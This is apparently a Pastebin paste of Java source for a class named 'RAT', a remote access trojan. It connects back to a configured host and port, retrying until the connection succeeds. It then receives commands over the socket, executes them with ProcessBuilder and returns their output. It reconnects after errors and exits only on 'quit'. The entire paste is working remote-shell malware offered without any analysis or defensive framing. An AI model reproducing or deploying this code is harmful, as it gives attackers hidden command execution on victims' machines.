Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import java.io.BufferedReader;
- import java.io.IOException;
- import java.io.InputStreamReader;
- import java.io.PrintWriter;
- import java.net.InetAddress;
- import java.net.Socket;
- import java.util.Scanner;
- public class RAT
- {
- private static Socket s;
- private static Scanner sc;
- private static PrintWriter pr;
- private static int length;
- private static ProcessBuilder ps;
- private static BufferedReader in;
- private static String line;
- private static String stdout;
- private static String execute(String received) throws IOException, InterruptedException
- {
- String spli[] = received.split(" ");
- length = spli.length;
- if(length==1)
- {
- try
- {
- ps=new ProcessBuilder(spli[0]);
- ps.redirectErrorStream(true);
- Process pr = ps.start();
- in = new BufferedReader(new InputStreamReader(pr.getInputStream()));
- line = "";
- stdout = "";
- while ((line = in.readLine()) != null) {
- stdout = stdout + line;
- }
- stdout = stdout.toString();
- pr.waitFor();
- in.close();
- return stdout;
- }
- catch(Exception errr)
- {
- return errr.toString();
- }
- }
- else if(length==2)
- {
- try
- {
- ps=new ProcessBuilder(spli[0],spli[1]);
- ps.redirectErrorStream(true);
- Process pr = ps.start();
- in = new BufferedReader(new InputStreamReader(pr.getInputStream()));
- line = "";
- stdout = "";
- while ((line = in.readLine()) != null) {
- stdout = stdout + line;
- }
- stdout = stdout.toString();
- pr.waitFor();
- in.close();
- return stdout;
- }
- catch(Exception errr)
- {
- return errr.toString();
- }
- }
- else if(length==3)
- {
- try
- {
- ps=new ProcessBuilder(spli[0],spli[1],spli[2]);
- ps.redirectErrorStream(true);
- Process pr = ps.start();
- in = new BufferedReader(new InputStreamReader(pr.getInputStream()));
- line = "";
- stdout = "";
- while ((line = in.readLine()) != null) {
- stdout = stdout + line;
- }
- stdout = stdout.toString();
- pr.waitFor();
- in.close();
- return stdout;
- }
- catch(Exception errr)
- {
- return errr.toString();
- }
- }
- else if(length==4)
- {
- try
- {
- ps=new ProcessBuilder(spli[0],spli[1],spli[2],spli[3]);
- ps.redirectErrorStream(true);
- Process pr = ps.start();
- in = new BufferedReader(new InputStreamReader(pr.getInputStream()));
- line = "";
- stdout = "";
- while ((line = in.readLine()) != null) {
- stdout = stdout + line;
- }
- stdout = stdout.toString();
- pr.waitFor();
- in.close();
- return stdout;
- }
- catch(Exception errr)
- {
- return errr.toString();
- }
- }
- else if(length==5)
- {
- try
- {
- ps=new ProcessBuilder(spli[0],spli[1],spli[2],spli[3],spli[4]);
- ps.redirectErrorStream(true);
- Process pr = ps.start();
- in = new BufferedReader(new InputStreamReader(pr.getInputStream()));
- line = "";
- stdout = "";
- while ((line = in.readLine()) != null) {
- stdout = stdout + line;
- }
- stdout = stdout.toString();
- pr.waitFor();
- in.close();
- return stdout;
- }
- catch(Exception errr)
- {
- return errr.toString();
- }
- }
- else if(length==6)
- {
- try
- {
- ps=new ProcessBuilder(spli[0],spli[1],spli[2],spli[3],spli[4],spli[5]);
- ps.redirectErrorStream(true);
- Process pr = ps.start();
- in = new BufferedReader(new InputStreamReader(pr.getInputStream()));
- line = "";
- stdout = "";
- while ((line = in.readLine()) != null) {
- stdout = stdout + line;
- }
- stdout = stdout.toString();
- pr.waitFor();
- in.close();
- return stdout;
- }
- catch(Exception errr)
- {
- return errr.toString();
- }
- }
- else
- {
- return "Too many arguements";
- }
- }
- private static String resolve(String host)
- {
- InetAddress ip;
- while(true)
- {
- try
- {
- ip = InetAddress.getByName(host);
- host = ip.getHostAddress().toString();
- return host;
- }
- catch(Exception err)
- {
- continue;
- }
- }
- }
- private static int connect(String ip,int port)
- {
- try
- {
- s = new Socket(ip,port);
- return 1;
- }
- catch(Exception err)
- {
- return 0;
- }
- }
- public static void main(String[] args) throws IOException
- {
- String host = "localhost";
- int port = 123;
- String ip;
- ip = resolve(host);
- int stat;
- do
- {
- stat=connect(ip,port);
- }while(stat!=1);
- System.gc();
- pr = new PrintWriter(s.getOutputStream(),true);
- sc = new Scanner(s.getInputStream());
- sc.useDelimiter("\0");
- String received;
- String stdout;
- while(true)
- {
- try
- {
- received = sc.next();
- received = received.trim();
- received = received.replace("\0", "");
- if(received.contains("quit")==true)
- {
- pr.println("quit");
- sc.close();
- s.close();
- System.exit(0);
- }
- else
- {
- stdout = execute(received);
- pr.print(stdout + "\0");
- pr.flush();
- }
- }
- catch(Exception err)
- {
- System.gc();
- do
- {
- stat=connect(ip,port);
- }while(stat!=1);
- pr = new PrintWriter(s.getOutputStream(),true);
- sc = new Scanner(s.getInputStream());
- sc.useDelimiter("\0");
- }
- }
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement